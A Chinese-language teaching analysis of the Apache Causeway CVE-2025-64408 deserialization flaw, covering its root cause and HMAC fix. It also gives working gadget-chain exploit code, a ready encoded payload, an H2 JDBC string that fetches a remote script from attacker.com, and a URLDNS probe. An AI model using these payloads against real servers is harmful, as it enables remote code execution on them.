Apache Causeway CVE-2025-64408 反序列化漏洞分析教学文档
1. 漏洞概述
1.1 框架介绍
Apache Causeway 是 Apache 基金会开源的 Java 企业级领域建模框架,基于 Spring Boot 架构,能够为实体类、领域服务和 ViewModel 自动生成 Web 界面与 API 接口,广泛应用于企业级管理系统的构建。
1.2 漏洞本质
在受影响的版本中,框架在处理 ViewModel 的书签(bookmark)与 URL 片段时存在严重的安全缺陷:系统将客户端可控的内容直接作为对象状态进行反序列化,且缺乏完整性校验机制。
1.3 攻击场景
经过身份认证的攻击者能够构造恶意的 URL 片段,当服务端尝试还原 ViewModel 时触发反序列化操作,在存在可利用 gadget 链的环境下实现远程代码执行。
2. 漏洞分析
2.1 源码定位方法
通过官方漏洞公告 CAUSEWAY-3939 分析源码变更,关键文件:
commons/src/main/java/org/apache/causeway/commons/internal/memento/_MementoDefault.java- 该文件包含存在安全风险的反序列化操作,已被删除
2.2 调用链路分析
完整的漏洞触发调用链:
org.apache.causeway.commons.internal.memento._MementoDefault#parse
→ org.apache.causeway.commons.internal.memento._Mementos#parse
→ org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetForJavaRecord#parseMemento
→ org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetForJavaRecord#createViewmodel
→ org.apache.causeway.core.metamodel.facets.object.viewmodel.ViewModelFacetAbstract#instantiate
2.3 Bookmark 解析机制
在 Bookmark 的 parse 方法中:
- 使用 StringTokenizer 以
:作为分隔符进行字符串分割 - 解析后分为两个关键参数:
logicalTypeName:逻辑类型名称urlSafeIdentifier:URL 安全标识符(反序列化数据源)
攻击载荷结构:logicalTypeName:攻击载荷
2.4 类型验证机制
在 SpecificationLoaderDefault#lookupLogicalType 方法中:
- 首先检查
logicalTypeResolver中是否存在有效的逻辑类型 - 如果不存在,则通过
loadClass(logicalTypeName)方法加载指定类名对应的类
3. 漏洞复现测试
3.1 测试环境搭建
使用 Causeway 官方示例项目:https://github.com/apache/causeway-app-helloworld
3.2 编码机制分析
Causeway 的数据处理机制(UrlEncodingServiceWithCompression#decode):
- 对传入字符串进行 Base64 解码
- 使用 GZip 进行解压操作
- 返回最终的字节数组
Payload 构造需要双重处理:
- 先对内容进行 GZip 压缩
- 然后进行 Base64 编码
3.3 编解码工具实现
public class CausewayBase64Utils {
public static final BytesOperator asCompressedUrlBase64 = operator()
.andThen(CausewayBase64Utils::compress)
.andThen(bytes -> Base64.getUrlEncoder().encode(bytes));
public static final BytesOperator ofCompressedUrlBase64 = operator()
.andThen(bytes -> Base64.getUrlDecoder().decode(bytes))
.andThen(CausewayBase64Utils::decompress);
public static BytesOperator operator() {
return new BytesOperator(UnaryOperator.identity());
}
static byte[] compress(final byte[] input) {
if (input.length < 18) {
return input;
} else {
return input.length < 256 ? prepend(input, new byte[]{0}) : prepend(gzip_compress(input), new byte[]{1});
}
}
static byte[] decompress(final byte[] input) {
if (input != null && input.length >= 18) {
byte[] inputWithoutPrefix = Arrays.copyOfRange(input, 1, input.length);
return gzip_decompress(inputWithoutPrefix);
} else {
return input;
}
}
}
3.4 编解码流程详解
编码流程 (asCompressedUrlBase64):
原始 byte[] → 压缩处理 → 压缩后的 byte[] → URL Base64编码 → 最终编码结果
解码流程 (ofCompressedUrlBase64):
URL Base64编码的 byte[] → URL Base64解码 → 压缩后的 byte[] → 解压缩 → 原始 byte[]
4. 漏洞利用实现
4.1 AspectJWeaver 利用链
使用 AspectJWeaver 反序列化链实现漏洞利用,在 /tmp 目录下创建文件 n1es.txt。
最终 Payload 结构:
causeway.conf.ConfigurationViewmodel:AR-LCAAAAAAAAP-FkjFvEzEUx1_vlDRFFaSogpEOlTogbCHBgIKgtKJq0QFDMiCx4CZO7oLPNvZLeunAwMiEUKYiIT5AqeAjVBUfAEZgQEIdmVg68nyhUhFDT7q7Z7_n__vZf-_-gop3MNcXQ8EGmCm2Lnx6X9jK9Nf9gwtPPscQrcEZZURnTbTRuA2YwdRJnxrVKeztZQjP7FaNvnV6p0jsunE9Jqxop5K1TZ4b7emvlGxjRvE19lSOhkINJGtlskO97mp0o5fvv7y5sX_pWwRRAjGVIJxPAhZXQvf4w80-rW9QKhcW4dwkFYg5KTQKmqvpq9IzLJAYLp_GQCosEdsjWqwPxy_ejurjGKYSmO6W26TuVxLS4BMN_leDn9TgLSe07xqXS0cA1PXmaV27Ax3UPVulIQqNJyQeDV_N3Yk-jqOAMZMdVzyD5xAXduAgeryy-_viUbXW-hE
4.2 利用代码实现
public static void main(String[] args) throws Exception {
String fileName = "n1es.txt";
String filePath = "/tmp/";
String fileContent = "n1es is here";
// 初始化 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
// 实例化 StoreableCachingMap 类
Class<?> c = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor = c.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(filePath, 10000);
// 初始化 Transformer
Transformer transformer = new ConstantTransformer(fileContent.getBytes(StandardCharsets.UTF_8));
// 使用 StoreableCachingMap 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.lazyMap(map, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, fileName);
HashMap<Object, Object> objects = new HashMap<>();
objects.put(entry, entry);
// 序列化并编码
byte[] bytes = writeObjectToBytes(objects);
byte[] encodedPayload = CausewayBase64Utils.asCompressedUrlBase64.apply(bytes);
System.out.println(new String(encodedPayload));
}
5. 高版本 JDK 环境下的利用挑战
5.1 JDK 17+ 安全限制
- 内部类反射访问限制:禁止对 JDK 内部类进行反射访问
- 模块边界强化:Java 平台模块系统严格实施
- 反序列化过滤器增强:默认拦截已知恶意类
5.2 高版本替代攻击向量
5.2.1 Apache Commons DBCP2 + H2 数据库攻击链
利用组件:
- Apache Commons DBCP2:数据库连接池组件
- H2 数据库:通过脚本执行功能实现 RCE
- JDBC 连接字符串注入:绕过高版本 JDK 类访问限制
5.2.2 攻击链路示例
// 利用 H2 数据库的 RUNSCRIPT 功能
String maliciousUrl = "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'";
5.3 实战环境适配
URLDNS 通用验证方案
// URLDNS - 通用的漏洞存在性验证方法
HashMap map = new HashMap();
URL url = new URL("http://zzvirkbsbt.dgrh3.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url,1);
map.put(url,123);
f.set(url,-1);
byte[] bytes = writeObjectToBytes(map);
byte[] apply = CausewayBase64Utils.asCompressedUrlBase64.apply(bytes);
System.out.println(new String(apply));
6. 修复方案
修复版本通过以下措施彻底解决安全问题:
- 引入 HMAC 数字签名:为 ViewModel 书签与 memento 引入基于 HMAC 的数字签名与验签流程
- 强制签名校验:服务端在反序列化前强制校验签名,验证失败即终止处理
- 统一安全验证:ViewModelFacet 与内部 Memento 工具统一使用 HmacAuthority 完成安全验证
7. 总结
Apache Causeway CVE-2025-64408 漏洞展示了企业级框架中反序列化安全的重要性。虽然该漏洞需要认证才能利用,但在实际环境中危害性依然显著。教学重点包括:
- 理解漏洞的根本原因:客户端可控数据直接反序列化
- 掌握完整的攻击链分析方法和工具
- 了解高版本 JDK 环境下的利用限制和替代方案
- 学习有效的修复和防护措施
通过深入分析此漏洞,可以提升对 Java 反序列化安全的认识和防护能力。